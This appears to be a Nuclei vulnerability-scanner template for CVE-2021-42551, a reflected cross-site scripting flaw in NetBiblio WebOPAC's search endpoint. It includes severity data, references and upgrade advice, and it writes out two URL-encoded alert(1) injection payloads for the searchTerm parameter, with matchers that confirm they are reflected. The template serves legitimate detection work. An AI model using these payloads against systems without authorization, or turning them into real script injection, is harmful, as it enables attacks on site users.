58 lines
1.8 KiB
YAML
58 lines
1.8 KiB
YAML
id: CVE-2021-42551
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info:
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name: NetBiblio WebOPAC - Cross-Site Scripting
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author: compr00t
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severity: medium
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description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
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remediation: |
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Upgrade to the latest version to mitigate this vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42551
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- https://www.redguard.ch/advisories/netbiblio_webopac.txt
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-42551
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cwe-id: CWE-79
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epss-score: 0.00124
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epss-percentile: 0.46595
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cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: alcoda
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product: netbiblio
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tags: cve,cve2021,xss,netbiblio
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http:
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- method: GET
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path:
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- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
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- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
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host-redirects: true
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max-redirects: 3
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "SearchTerm: 'x'+alert(1)+'x',"
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- "SearchTerm: 'x\\\\'+alert(1),//',"
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condition: or
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- "NetBiblio"
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- type: status
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status:
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- 200
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# digest: 490a004630440220373da20090193a1f3f024bdf8c7854e0ab176bccf4ca60b1167a6673e68d927802207bb673cfebb8eeca77a0ccbf6f245f4cc27bfad23167af0c2e7e0a68d016870d:922c64590222798bb761d5b6d8e72950 |